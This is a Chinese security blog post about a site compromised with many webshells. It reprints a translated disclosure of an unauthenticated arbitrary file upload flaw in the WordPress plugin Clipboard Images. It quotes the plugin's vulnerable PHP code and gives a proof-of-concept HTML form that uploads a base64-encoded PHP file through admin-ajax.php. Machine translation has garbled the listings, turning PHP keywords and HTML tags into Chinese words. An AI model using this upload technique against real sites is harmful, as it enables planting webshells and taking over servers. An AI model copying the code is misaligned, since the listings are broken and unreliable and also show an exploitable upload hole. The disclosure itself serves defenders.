微慑信息网

某站点被黑情况复现 - vulsee.com

找到一堆shell,快成为马场了

但由于服务器迁移,以前的日志文件已经没法找到了..根据文件名可以大致猜到是上传..而且对应截图插件的命名方式;主要2个原因:

1、开启了用户注册,之前一直默认

2、使用了Clipboard Images 插件

下附相关资料:

A Hacker Is Probably Already Exploiting This Arbitrary File Upload Vulnerability in a WordPress Plugin

在过去的几天里,有人开始 使用 Tor 节点向文件 /wp-content/plugins/image-clipboard/readme.txt发出 请求,该文件来自 WordPress 插件Clipboard Images。这可能是黑客在利用该插件的漏洞之前探查该插件的使用情况,根据 wordpress.org 的数据,该插件有 800 多个活动安装。在我们今天早上注意到这一活动后,我们去查看代码,看看我们是否能找到黑客可能利用的漏洞,并且只用了几分钟就找到了很可能已经被利用的漏洞。

使这相对容易的是插件只包含一个包含任何实质性代码的函数。该函数名为 save_image(),登录和未登录 WordPress 的用户均可通过 WordPress AJAX 功能访问它:

19
20
add_action ( 'wp_ajax_cbimages_save' , 数组( & $this ,  'save_image' ) ) ; 
add_action ( 'wp_ajax_nopriv_cbimages_save' , 数组( & $this ,  'save_image' ) ) ;

该函数中的代码使用来自 POST 输入“img”的数据将文件保存到网站的文件系统:

48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
公共 函数save_image ( ) 
{ 
	$post_id  =  $_POST [ 'post_id' ] ; 
	$img  =  $_POST [ 'img' ] ; 
	$tmp_img  = 爆炸( ";" ,  $img ) ; 
	$img_header  =  explode ( '/' ,  $tmp_img [ 0 ] ) ; 
	$ext  =  $img_header [ 1 ] ;
 
	$imgtitle  =  mt_rand ( 111 , 999 ) ; 
	$imgtitle  .=  '.' . $ext ;
 
	$uploads  = wp_upload_dir ( $time  =  null ) ;  
	$filename  = wp_unique_filename ( $uploads [ 'path' ] ,  $imgtitle ) ;
 
	$image_url  =  $uploads [ 'url' ] '/' $文件名;
 
	file_put_contents ( $uploads [ 'path' ] . '/' . $filename ,  file_get_contents ( 'data://' . $img ) ) ;

保存的文件可以有任何扩展名,但它是随机命名的。当对该函数发出请求时,将返回该随机名称:

78
echo  json_encode ( array ( 'file'  =>  $uploads [ 'url' ]  . '/' .  $filename ) ) ;

因此,黑客可以上传包含恶意代码的 .php 文件,然后请求该文件执行该代码。

由于 WordPress 支持论坛的版主 持续的 不当 行为, 我们将 全面公开漏洞以示抗议,直到 WordPress 清理该情况,因此我们发布此帖子,然后仅尝试通过 WordPress 支持论坛通知开发人员。您也可以在论坛上将此问题通知开发人员。希望版主最终会看到光明并尽快清理他们的行为,因此不再需要这些完整的披露(我们希望它们很快结束)。你可能会认为他们已经做的是,由于 以前完全披露的漏洞 是 很快的黑客雷达,但这些版主似乎对 WordPress 社区的其他人如此不屑,以至于他们继续采取不当行为的能力比对社区其他人最有利更重要。

概念证明

以下概念证明将导致 .php 文件保存到响应中指定的位置。当请求时,新上传的文件将输出消息“测试”。

确保将“[WordPress 的路径]”替换为 WordPress 的位置。

<html>
<身体>
<form action="http://[WordPress 的路径]/wp-admin/admin-ajax.php?action=cbimages_save" method="POST">
<input type="hidden" name="img" value="data:image/php;base64,PD9waHAKZWNobyAnVGVzdCc7Cj8+" />
<input type="submit" value="提交" />
</form>
</正文>
</html>

https://github.com/uptimizt/image-clipboard/issues/9

赞(0) 打赏
转载请附本站链接,未经允许不得转载,,谢谢:微慑信息网-VulSee.com » 某站点被黑情况复现 - vulsee.com

评论 抢沙发

微慑信息网 专注工匠精神

微慑信息网-VulSee.com-关注前沿安全态势,聚合网络安全漏洞信息,分享安全文档案例

访问我们联系我们

觉得文章有用就打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册